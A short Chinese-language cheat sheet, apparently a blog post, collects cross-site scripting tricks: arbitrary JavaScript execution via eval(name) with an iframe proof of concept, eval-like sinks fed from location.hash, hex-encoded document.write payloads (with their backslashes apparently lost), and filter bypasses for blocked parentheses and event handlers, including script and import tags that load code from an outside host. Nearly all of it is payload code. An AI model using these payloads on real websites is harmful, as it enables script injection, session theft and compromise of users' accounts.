0x00 前言
总结的一些xss的技巧(可能会持续更新),愿大佬勿喷,还有什么方法,大佬记得分享啊。有什么看不惯的错误请在本文留言,谢谢。
0x01 我认为最短的执行任意js代码
代码语言:javascript复制eval(name);
poc:
代码语言:javascript复制<iframe src='http://localhost/?xss=eval(name);' name='js-code'>
0x02 类似eval的方法
代码语言:javascript复制setTimeout(location.hash.slice(1))
setInterval(location.hash.slice(1))
Function(location.hash.slice(1))(1)
jQuery.globalEval(location.hash.slice(1))
document.write`x3cx73x63x72x69x70x74x3ex61x6cx65x72x74x28x31x29x3cx2fx73x63x72x69x70x74x3e`
document.getElementById('xx').innerHTML=`x3cx73x63x72x69x70x74x3ex61x6cx65x72x74x28x31x29x3cx2fx73x63x72x69x70x74x3e`
0x03 当括号被过滤执行任意payload的方法
代码语言:javascript复制document.write`x3cx73x63x72x69x70x74x3ex61x6cx65x72x74x28x31x29x3cx2fx73x63x72x69x70x74x3e`
<svg/onload="location='javascript:/*'+location.hash">
锚点后接*/jscode
0x04 事件被过滤时执行任意payload
代码语言:javascript复制<link rel=import href=\payload.com>
<script src=\payload.com></script>
<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>